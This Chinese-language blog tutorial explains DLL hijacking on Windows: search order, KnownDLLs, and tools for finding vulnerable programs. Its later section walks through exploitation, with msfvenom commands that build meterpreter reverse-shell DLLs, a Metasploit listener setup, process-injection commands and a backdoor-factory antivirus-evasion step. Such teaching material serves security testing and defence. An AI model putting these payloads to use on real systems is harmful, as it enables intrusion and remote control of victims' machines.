zoukankan      html  css  js  c++  java
  • Dll劫持漏洞详解

     

    一、dll的定义

    DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

    如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”

    二、dll的原理利用

    2.1 Windows XP SP2之前

    Windows查找DLL的目录以及对应的顺序:

    1. 进程对应的应用程序所在目录;
    2. 当前目录(Current Directory);
    3. 系统目录(通过 GetSystemDirectory 获取);
    4. 16位系统目录;
    5. Windows目录(通过 GetWindowsDirectory 获取);
    6. PATH环境变量中的各个目录;

    例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

    2.2在winxdows xp sp2之后

    Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

    默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1

    1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
    2. 系统目录(即%windir%system32);
    3. 16位系统目录(即%windir%system);
    4. Windows目录(即%windir%);
    5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
    6. PATH环境变量中的各个目录;

    2.3 windows7以上

    系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

    那么最终Windows203以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

    三、DLL漏洞检查

    3.1使用Process Explorer检查

    这里主要找到应用程序dll_hijack_test.exe加载的dll主要调用了dll_hijack_test_dll.dll,而这个dll在KnownDLLs没有,所以存在DLL劫持,建议使用手工查找。

     

    3.2使用DLL Hijacking Auditor(DLL劫持审计器)

    http://securityxploded.com/getsoftware_direct.php?id=7777,此工具只能运行在32位上,貌似误报有点多。

    3.3使用自动化rattler dll检查工具

    下载地址:https://github.com/sensepost/rattler/releases

    3.4 检查步骤方法

    1.启动应用程序

    2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。

    3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。

    4.通过msf生成劫持的dll漏洞名,或者用K8dllhijack.dll改成劫持的dll名来测试是否存在劫持。

    5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功

    3.4 InjectProc实现自动注入dll

    1. InjectProc.exe dll_inj  mbox.dll  notepad.exe  #这里的DLL是可以是msf生成的dll或者远控生成的dll,notepad.exe就是进程里面打开的应用程序名

     

    3.5 DLL存在劫持漏洞搜索库

    DLL劫持漏洞翻译成英文叫做 DLL Hijacking Vulnerability,CWE将其归类为 Untrusted Search Path Vulnerability。如果想要去CVE数据库中搜索DLL劫持漏洞案例,搜索这两个关键词即可。

    Corelan博客-提供了存在漏洞(DLL劫持)的应用程序列表(非官方):

    http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/

    exploit-db网站-提供了存在漏洞(DLL劫持)的应用程序列表:

    http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

    四、DLL劫持漏洞利用场景

    4.1 针对应用程序安装目录的DLL劫持

    前提条件需要是管理员权限,一般程序运行的进程对应的目录在默认的%ProgramFiles% 或者是 %ProgramFiles(x86)%下

    4.2 针对文件关联的DLL劫持

    就是当打开某个文件类型时,会在进程中加载某个应用程序,那么应用程序会关联某个DLL加载,而这时候如何关联的dll不存在,那么最终会在当前目录下查找到关联的dll,这个DLL就是我们恶意的dll.

    4.3 针对安装程序的DLL劫持

    主要是应用程序安装包,放一个恶意的dll到当期安装包目录下就会被劫持

    4.4 msf下dll的劫持利用

    1.在kali下使用Msfvenom创建恶意DLL文件

    x86:
    
    msfvenom  -p  windows/meterpreter/reverse_tcp  lhost=192.168.1.101  lport=4444   -f  dll>存在劫持dll名.dll
    
    x64:
    
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110  lport=4444  -f dll >存在劫持dll名.dll

    2.msf开启反弹shell监听:

    use exploit/multi/handler
    
    set payload windows/meterpreter/reverse_tcp(x86)
    
    set payload windows/x64/meterpreter/reverse_tcp(x64)
    
    set lhost  192.168.1.110
    
    set lport 555
    
    exploit

     

    将生产劫持的dll拷贝到存在劫持漏洞的应用程序目录下,然后执行应用程序。这里我将用InjectProc来执行DLL劫持。

    injectPro.exe dll_inj  MSF生成的dll  劫持的程序名

     

    然后只要运行记事本,就会反弹msf:

     

    需要用到的工具:(包括用到的利用工具和测试文件)

    https://raw.githubusercontent.com/backlion/demo/master/dll.zip

    另附上: dll劫持生产工具backdoor-factory免杀和msf的结合

    backdoor-factory -f /opt/劫持名.dll   -s   reverse_shell_tcp_inline    -P 192.168.1.110    -H   555

    use exploit/multi/handler
    
    set payload windows/shell_reverse_tcp
    
    set lhost  192.168.1.110
    
    set lport 555
    
    exploit

     

  • 相关阅读:
    使用“.yml”文件缩进需要注意的问题
    ubuntu忘记用户密码解决方法
    springboot整合mybatis使用xml映射文件和使用注解两种方式的切换
    腾讯课堂目标2017高中数学联赛基础班-2作业题解答-12
    腾讯课堂目标2017高中数学联赛基础班-2作业题解答-11
    2016猿辅导初中数学竞赛训练营作业题解答-14
    腾讯课堂目标2017初中数学联赛集训队作业题解答-11
    腾讯课堂目标2017高中数学联赛基础班-2作业题解答-10
    2016猿辅导初中数学竞赛训练营作业题解答-13
    腾讯课堂目标2017初中数学联赛集训队作业题解答-10
  • 原文地址:https://www.cnblogs.com/backlion/p/7472021.html
Copyright © 2011-2022 走看看